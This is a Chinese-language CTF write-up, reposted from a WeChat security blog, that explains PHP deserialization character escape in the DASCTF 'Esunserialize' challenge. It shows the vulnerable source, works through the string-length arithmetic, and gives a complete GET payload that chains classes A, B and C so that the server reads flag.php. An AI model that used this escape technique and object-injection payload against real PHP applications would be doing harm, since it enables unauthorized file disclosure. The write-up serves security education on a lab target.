前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DASCTF-Esunserialize(反序列化字符逃逸)

DASCTF-Esunserialize(反序列化字符逃逸)

作者头像
Gamma实验室
发布2020-12-23 11:42:51
9170
发布2020-12-23 11:42:51
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

点击上方蓝色文字点击关注我们吧

题目

代码语言:javascript
复制
<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

前言

做这个题的时候我也第一次接触字符逃逸。似乎明白了怎么利用。顺便通过这个题了解反序列化的字符逃逸

各位读者需要了解一下序列化字符串的格式,及含义才可以继续往下读。

分析

题目总共两个函数,三个类!

关键代码:

代码语言:javascript
复制
$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));

关键函数。

代码语言:javascript
复制
function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

我们可控变量为类A的两个参数a和b。然后将实例化对象$a,进行序列化。 之后依次传给write函数、read函数、unserialize函数。

这里需要注意的是read函数中的str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);。chr(0)其实就是空字符。但也算一个字节。此函数将\0\0\0替换为chr(0).'*'.chr(0)。 需要注意的是。\0\0\0是6个字节。而chr(0).'*'.chr(0)是三个字节。

记住以上的分析,就可以利用了。

字符逃逸原理

这里需要调试一下,改一下代码

代码语言:javascript
复制
echo "<br>";
echo serialize($a);
echo "<br>";
echo write(serialize($a));
echo "<br>";
echo read(write(serialize($a)));
echo "<br>";

先用a=1b=2试试,没有问题!

再用a=\0\0\0b=2试试

注意看经过read函数处理后

代码语言:javascript
复制
O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:1:"2";}

字符串长度写着6。而值是两个空字节和一个*,一共才3个字节,所以后面反序列化的时候会报错。

其实报错的原因不是因为字符串长度不匹配,而是因为取了六个字符之后,后面字符的格式不符合序列化字符串格式,才会报错。

例如:取六个字符之后username的值为*";s:(其中还有一个空字节)。后面的格式不符合序列化字符串格式,抛出错误。PS:我个人理解是这样的。

通过这样的形式,我们似乎可以控制这个序列化字符串了,为了清晰的看清楚,我们再加几行代码

代码语言:javascript
复制
echo "<br>";
echo $b->username;
echo "<br>";
echo $b->password;

这一次,我们传入参数a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";s:4:"1234";}}。看一下,我们传入的b参数的值为c";s:8:"password";s:4:"1234";}},这个值会赋值给$apassword属性。

按理说,password的值应该是c";s:8:"password";s:4:"1234";}}。但是看上图,值是1234。。。

下面来分析一下:

我们先看一下序列化后经过read函数的值

代码语言:javascript
复制
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:31:"c";s:8:"password";s:4:"1234";}}";}

可以看到username的长度为48,为什么是48?因为序列化的时候还是\0\0\0\0\0…,所以是48。经过read函数之后,替换为*号了(注意有两个空字节),然后就会取48个字符********";s:8:"password";s:31:"c当做username的值。

要注意前后双引号

我们构造的;s:8:"password";s:4:"1234";}password成功的被反序列化为1234了

PS:上图payload的后面其实一个大括号就可以了。多了也无妨

至此应该明白反序列化字符逃逸的原理了吧,需要精确的计算字符串长度。构造适量的\0才可以

题目分析

我觉得上面已经说的够清楚了,这时就用原题吧,把之前调试加的代码全删掉,来说一下这个题的思路。

我们现在已经可以控制反序列化字符串了。要想拿到flag,只能通过类C的file_get_content()函数进行获取。flag的文件名也给了,这个函数在__toString魔术方法里,而类B有一个__destruct魔术方法,而且__destruct魔术方法正好有一个echo 用来输出c,我们设置b为类C的实例化对象即可。

总结一下。就是通过控制反序列化字符串,设置类Apassword属性为类B的实例化对象,并且设置类B的b属性为类C的实例化对象,并且设置类cc属性为flag.php,得到flag。有点绕!

直接构造我们的最终payload。

代码语言:javascript
复制
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

因为没有相关文件flag.php,所以就报错,不过我们是利用成功了。

这个payload,其实我不用多说,应该是可以看懂的。细心的可能发现后面其实是多了一个大括号,但是我如果是两个大括号的话,就会报错。

而且奇怪的是两个大括号在phpstorm是不会报错的(一个大括号也不会报错),还能获取flag。但是用浏览的话,必须至少三个大括号。

好像和版本没啥关系,因为我测试过了,我太菜了。

phpstorm(一个大括号)

浏览器两个大括号

作者不易!请点一下关注在走吧!

请严格遵守国家网络安全法相关条例!

此文章仅供学习参考,不得用于违法犯罪,一切后果自付!

转载此文章,请标明出处。

关注此公众号,各种福利领不停,每天一个hacker小技巧

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 题目分析
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档